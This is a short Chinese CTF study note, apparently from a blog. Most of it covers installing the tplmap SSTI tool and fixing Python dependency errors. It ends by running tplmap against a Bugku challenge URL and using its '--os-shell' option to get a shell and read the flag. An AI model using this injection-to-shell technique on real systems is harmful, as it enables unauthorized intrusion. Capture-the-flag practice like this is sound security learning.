CTF学习之SSTI-tplmap

tplmap安装之旅

查看虚拟机python版本为python2
从github下载tplmap

git clone https://github.com/epinna/tplmap

cd tplmap

python tplmap.py

报如下错误

ImportError: No module named yaml

引入模块

pip install yaml

发现没有安装pip，于是安装setup-tools和pip

wget https://pypi.python.org/packages/45/29/8814bf414e7cd1031e1a3c8a4169218376e284ea2553cc0822a6ea1c2d78/setuptools-36.6.0.zip#md5=74663b15117d9a2cc5295d76011e6fd1
unzip setuptools-36.6.0.zip 
cd setuptools-36.6.0
python setup.py install

此时报错

RuntimeError: Compression requires the (missing) zlib module

安装zlib

cd /usr/local/src  
wget http://zlib.net/zlib-1.2.11.tar.gz 
tar -zxvf zlib-1.2.11.tar.gz 
cd zlib-1.2.11 
./configure
make
make install

接着进入python目录，关联zlib与python

./configure --prefix=/usr/local/Python2.7.15 --with-zlib=/usr/local

make && make install

重新安装setup-tools和pip

wget https://pypi.python.org/packages/11/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-9.0.1.tar.gz#md5=35f01da33009719497f01a4ba69d63c9
tar -zxvf pip-9.0.1.tar.gz
cd pip-9.0.1
python setup.py install

安装yaml等模块

pip install pyyaml
...

安装完成

tplmap使用技巧

模板：

./tplmap.py -u <'目标网址'>

题目来源：https://ctf.bugku.com/challenges/detail/id/203.html?page=2
使用如下指令

python tplmap.py -u "http://114.67.246.176:14165/?flag="

可以注入，使用–os-shell提权
ls查看目录看到flag